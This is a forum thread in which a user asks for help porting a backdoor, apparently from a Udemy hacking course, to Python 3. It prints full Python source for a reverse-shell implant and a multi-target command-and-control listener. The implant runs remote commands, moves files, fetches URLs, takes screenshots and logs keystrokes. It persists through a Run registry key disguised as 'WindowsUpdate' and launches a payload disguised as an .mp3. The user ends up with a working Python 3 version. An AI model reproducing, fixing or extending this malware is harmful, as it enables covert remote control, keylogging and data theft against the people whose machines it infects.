Need help converting the backdoor from Hackersploits udemy course from python 2 to python 3

Backdoor code:
#!/usr/bin/env python

import socket
import subprocess
import json
import os
import base64
import shutil
import sys
import time
import requests
from mss import mss
import threading
import keylogger
from termcolor import colored

def reliable_send(data):
json_data = json.dumps(data)
sock.send(json_data)

def reliable_recv():
data = “”
while True:
try:
data = data + sock.recv(1024)
return json.loads(data)
except ValueError:
continue

def is_admin():
global admin
try:
temp = os.listdir(os.sep.join([os.environ.get(‘SystemRoot’, ‘C:\windows’), ‘temp’]))
except:
admin = “[-] User Privlages”
else:
admin = “[+] Administrator Privlages!”

def screenshot():
with mss() as screenshot:
screenshot.shot()

def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, “wb”) as out_file:
out_file.write(get_response.content)

def connection():
while True:
time.sleep(20)
try:
sock.connect((“10.0.0.89”, 4545)) # IP Address and Port to connect to
shell()
except:
connection()

def shell():
while True:
command = reliable_recv()
if command == “q”:
continue
elif command == “exit”:
break
elif command[:7] == “sendall”:
subprocess.Popen(command[:8], shell=True)
elif command == “help”:
help_options = “command: download --> Download a file from target pc\ncommand: upload --> Upload file to target pc\ncommand: get --> Download file to target pc from website\ncommand: screenshot --> Take a screenshot of target pc\ncommand: start --> Start application on target pc\ncommand: check --> Check privlage level\ncommand: keylog_start --> Start Key Logger\ncommand: keylog_dump --> Read the logged keys\ncommand: exit --> Close the backdoor\ncommand: q --> Quite the listener”
reliable_send(help_options)
elif command[:2] == “cd” and len(command) > 1:
try:
os.chdir(command[3:])
except:
continue
elif command[:8] == “download”:
with open(command[9:], “rb”) as file:
reliable_send(base64.b64encode(file.read()))
elif command[:6] == “upload”:
with open(command[7:], “wb”) as file:
file_data = reliable_recv()
file.write(base64.b64decode(file_data))
elif command[:3] == “get”:
try:
download(command[4:])
reliable_send(colored("[+] Downloaded File From Specified URL!", “blue”))
except:
reliable_send(colored("[-] Failed to download file!", “red”))
elif command[:10] == “screenshot”:
try:
screenshot()
with open(“monitor-1.png”, “rb”) as sc:
reliable_send(base64.b64encode(sc.read()))
os.remove(“monitor-1.png”)
except:
reliable_send(colored("[-] Failed to take scrrenshot!", “red”))
elif command[:5] == “start”:
try:
subprocess.Popen(command[6:], shell=True)
reliable_send("[+] Started application.")
except:
reliable_send(colored("[-] Failed to start application check spelling!", “red”))
elif command[:5] == “check”:
try:
is_admin()
reliable_send(is_admin)
except:
reliable_send(colored("[-] Can’t perfom the check", “red”))
elif command[:12] == “keylog_start”:
t1 = threading.Thread(target=keylogger.start)
t1.start()
elif command[:11] == “keylog_dump”:
try:
fn = open(keylogger_path, “r”)
reliable_send(fn.read())
except:
reliable_send(colored("[-] Unable to dump log", “red”))
continue
else:
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
reliable_send(result)

if sys.platform == “linux” or sys.platform == “linux1” or sys.platform == “linux2”:
#location = os.environ[“HOME”] + “/backdoor”
#if not in os.path.exists(location):
#shutil.copyfile(sys.executable, location)
print("")
elif sys.platform == “darwin”:
#location = os.environ[“AppData”] + “\Windows32.exe”
#if not in os.path.exists(location):
#shutil.copyfile(sys.executable, location)
print("")
elif sys.platform == “win32”:
location = os.environ[“AppData”] + “\Windows32.exe”
if not os.path.exists(location):
shutil.copyfile(sys.executable, location)
subprocess.call(‘reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "’ + location + ‘"’, shell=True)

if sys.platform == “linux” or sys.platform == “linux1” or sys.platform == “linux2”:
keylogger_path = os.environ[“HOME”] + “/processmanager.txt”
#if not in os.path.exists(location):
#shutil.copyfile(sys.executable, location)
print("")
elif sys.platform == “darwin”:
#location = os.environ[“AppData”] + “\Windows32.exe”
#if not in os.path.exists(location):
#shutil.copyfile(sys.executable, location)
print("")
elif sys.platform == “win32”:
keylogger_path = os.environ[“AppData”] + “\processmanager.txt”

#file_location = os.environ[“AppData”] + “\Windows32.exe”
#if not os.path.exists(file_location):

file_name = sys._MEIPASS + “\GUY.EXE.mp3”

subprocess.Popen(file_name, shell=True)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connection()
sock.close()

Threaded listener:
#!/usr/bin/env python

import socket
import json
import os
import base64
import threading
from termcolor import colored

count = 0

def reliable_send_to_all(target, data):
json_data = json.dumps(data)
target.send(json_data)

def shell(target,ip):
def reliable_send(data):
json_data = json.dumps(data)
target.send(json_data)

def reliable_recv():
	data = ""
	while True:
		try:
			data = data + target.recv(1024)
			return json.loads(data)
		except ValueError:
			continue

global count
while True:
	command = raw_input(colored("%s: Shell >>" % str(ip), "green"))
	reliable_send(command) 
	if command == "q":
		break
	elif command == "exit":
		target.close()
		targets.remove(target)
		ips.remove(ip)
		break
	elif command[:2] == "cd" and len(command) > 1:
		print(colored("[+] Changing Directory to: " + command[3:], "green"))
		continue
	elif command[:8] == "download":
		with open(command[9:], "wb") as file:
			file_data = reliable_recv()
			file.write(base64.b64decode(file_data))
			print(colored("[+] File Downloaded", "green"))
	elif command[:6] == "upload":
		try:
			with open(command[7:], "rb") as file:
				reliable_send(base64.b64encode(file.read()))
		except:
			failed = "Failed to upload"
			reliable_send(base64.b64encode(failed))
	elif command[:10] == "screenshot":
		with open("screnshot%d" % count, "wb") as screen:
			image = reliable_recv()
			image_decoded = base64.b64decode(image)
			if image_decoded[:3] == "[-]":
				print(image_decoded)
			else:
				screen.write(image_decoded)
				print(colored("[+] Screenshot taken", "green"))
				count += 1
	elif command[:12] == "keylog_start":
		continue

	else:
		result = reliable_recv()
		print(result) 

def server_accept():
global clients
while True:
if stop_threads:
break
s.settimeout(5)
try:
target, ip = s.accept()
targets.append(target)
ips.append(ip)
print(colored(str(ips[clients]) + " has connected", “yellow”))
clients += 1
except:
pass

def help():
print(“Command: targets”)
print(" --> List connected targets")
print(“Command: session “)
print(” --> connect to target”)
print(“Command: sendall”)
print(" --> send command to all connected targets")
print(“Command: exit”)
print(" --> Exit Command Center")
print(“Command: about”)
print(" --> informaton about application")

def about():
print("\tThis is a Command center for multiple backdoor sessions.\n\tIt includes a keylogger that you can start on command,\n\tan upload function and download function for\n\tto upload and download files to or from target.\n\tYou can take screenshots that will save to the attacker pc.\n\tYou can download files from the internet or run programs.")

global s
ips = []
targets = []

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((“10.0.0.89”, 4545))
s.listen(5)

clients = 0
stop_threads = False

print(colored("[+] Waiting for targets to connect", “green”))
t1 = threading.Thread(target=server_accept)
t1.start()

while True:
command = raw_input(colored("Center: ", “green”))
if command == “targets”:
count = 0
for ip in ips:
print(colored("Session " + str(count) + “.<–>” + str(ip), “green”))
count += 1
elif command == “help”:
help()
continue
elif command == “about”:
about()
continue
elif command[:7] == “session”:
try:
num = int(command[8:])
tar_num = targets[num]
tar_ip = ips[num]
shell(tar_num,tar_ip)

	except:
		print(colored("[-] No session with that number", "red"))
elif command == "exit":
	for target in targets:
		target.close()
	s.close()
	stop_threads = True
	t1.join()
	break
elif command[:7] == "sendall":
	len_of_targets = len(targets)
	i = 0
	try:
		while 1 < len_of_targets:
			tar_number = targets[i]
			print(tar_number)
			reliable_send_to_all(tar_number,command)
			i += 1
	except:
		print(colored("[!] Failed to send to all targets", "red"))
else:
	print(colored("[-] Invalid Command, type help for list of commands", "red"))
1 Like

Check this out:
https://docs.python.org/2/library/2to3.html
and this:

It may help you in some parts of the code…

Thanks, I tried that and it breaks it completely.

you may replace some libraries that are not supported by python3…

Can you give us the errors you get?

After running it through 2to3 I have to remove the eval( from the inputs I get the below error when I try to run any commands (example ls)

Traceback (most recent call last):
File “Command_And_Control_Center.py”, line 179, in
shell(tar_num,tar_ip)
File “Command_And_Control_Center.py”, line 73, in shell
reliable_send(command)
File “Command_And_Control_Center.py”, line 59, in reliable_send
target.send(json_data)
TypeError: a bytes-like object is required, not ‘str’

So I rewrote the whole thing for python 3 only a few things not working. Upload and Download give me errors due to the JSON, and the screenshot won’t transfer for the same reason. but progress none the less.

I have run into an issue with this and need help. I cannot get the upload and download to work correctly. The code below is for Python 3 and works for most of everything I am trying. If I can get help to fix the upload/download fucntions I can complete it. Thank you in advance for your help.

Server
import socket
import subprocess
import json
import os
import sys
import base64
import shutil
import random
import time
import requests
import threading
from mss import mss

def reliable_send(data):
	json_data = json.dumps(data).encode()
	s.send(json_data)

def reliable_recv():
	data = ""
	while True:
		try:
			data = data + s.recv(1024).decode()
			return json.loads(data)
		except ValueError:
			continue

def help_menu():
	return "Command: pwd - <show current directory>\nCommand: h - <Show help menu>\nCommand: start - <Start program on target>\nCommand: q - <close session>\nCommand: exit - <Closes the backdoor>\nCommand: download - <Download file from target>\nCommand: upload - <Upload file to target>\nCommand: Screenshot - <take screenshot of target>\nCommand: get - <download file from provided URL>\nCommand: check - <check privlage level>\nCommand: keylog_start - <starts keylogger>\nCommand: keylog_dump - <gets the keylogger data>"

def screenshot():
	with mss() as screenshot:
		screenshot.shot(mon=-1, output='monitor-1.png')

def web_download(url):
	get_response = requests.get(url)
	file_name = url.split("/")[-1]
	with open(file_name, "wb") as out_file:
		out_file.write(get_response.content)

def privlage_chack():
	global admin
	try:
		if sys.platform == "win32":
			temp = os.listdir(os.sep.join([os.environ.get('SystemRoot', 'C:\Windows'), 'temp']))
		else:
			admin  = "[-} Not Windows"
	except:
		admin = "[-] User Privalages"
	else:
		admin = "[+] Admin Privalages"



def connection():
	r = random.randint(1,10)
	while True:
		time.sleep(r)
		try:
			IP = socket.gethostbyname("127.0.0.1")
			s.connect((IP, 4567))
			shell()
		except:
			connection()

def shell():
	while True:
		command = reliable_recv()
		if command == "q":
			break
		elif command[:2] == "cd" and len(command) > 1:
			try:
				os.chdir(command[3:])
			except:
				continue
		elif command == "pwd":
			if sys.platform == "win32":
				proc = subprocess.Popen("cd", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
				result = proc.stdout.read() + proc.stderr.read()
				reliable_send(result.decode())
			else:
				proc = subprocess.Popen("pwd", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
				result = proc.stdout.read() + proc.stderr.read()
				reliable_send(result.decode())
		elif command[:8] == "download": 
			with open (command[9:], "rb") as file:
				reliable_send(base64.b64encode(file.read()))
		elif command[:6] == "upload": 
			with open(command[7:], "wb") as fin:
				file_data = reliable_recv()
				fin.write(base64.b64decode(file_data))
					
		elif command == "h":
			reliable_send(help_menu())
		elif command[:3] == "get":
			try:
				web_download(command[4:])
				reliable_send("[+] Downloaded File from URL")
			except:
				reliable_send('[-] Failed to download file')
		elif command[:10] == "screenshot": 
			try:
				screenshot()
				with open("monitor-1.png", "rb") as sc:
					reliable_send(base64.b64encode(sc.read()))
					os.remove("monitor-1.png")
				reliable_send("[+] Screenshot taken")
			except:
				reliable_send("[-] Failed to take screenshot ")
		elif command[:5] == "check":
			try:
				privlage_chack()
				reliable_send(admin)
			except:
				reliable_send("[-] Unable to run check")
		elif command[:5] == "start":
			try:
				subprocess.Popen(command[6:], shell=True)
				reliable_send("[+] Started " + str(command[6:]))
			except:
				reliable_send("[-] Failed to start " + str(command[6:]))
		else:
			proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
			result = proc.stdout.read() + proc.stderr.read()
			reliable_send(result.decode())

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


connection()
s.close()

listener
import socket
import json
import base64

count = 1



def reliable_send(data):
	json_data = json.dumps(data).encode()
	target.send(json_data)

def reliable_recv():
	data = ""
	while True:
		try:
			data = data + target.recv(1024).decode()
			return json.loads(data) 
		except ValueError:
			continue


def shell():
	global count
	while True:
		command = input("%s Shell>> " % str(ip[0])).encode()
		reliable_send(command.decode())
		if command.decode() == "q":
			break
		elif command[:2].decode() == "cd" and len(command) > 1:
			print("Chnaged directory to: " + str(command[3:]).strip("b'"))
			continue
		elif command[:8].decode() == "download": 
			with open (command[9:], "wb") as file:
				try:
					file_data =  reliable_recv()
					file.write(base64.b64decode(file_data))
				except:
					failed = "Failed to download"
					reliable_send(base64.b64encode(failed))
		elif command[:6].decode() == "upload": 
			try:
				with open(command[7:], "rb") as fin:
					reliable_send(base64.b64encode(fin.read()))
			except:
				failed = "Failed to upload"
				reliable_send(base64.b64encode(failed))
		elif command[:10] == "screenshot":
			with open("screenshot%d" % count, "wb") as screen:
				image = reliable_recv()
				image_decoded = base64.b64decode(image)
				if image_decoded[:3] == "[-]":
					print(image_decoded)
				else:
					scren.write(image_decoded)
					count += 1
		
		else:
			result = reliable_recv()
			print(result)


def server():
	global s
	global ip
	global target
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
	s.bind(("127.0.0.1", 4567))
	s.listen(5)
	print("[+] Listening for Incoming Connections")
	target, ip = s.accept()
	print("[+] Connection Established from: %s" % str(ip[0]))


server()
shell()
s.close()

I have gotten it all working.

1 Like

nice work mate :wink::+1: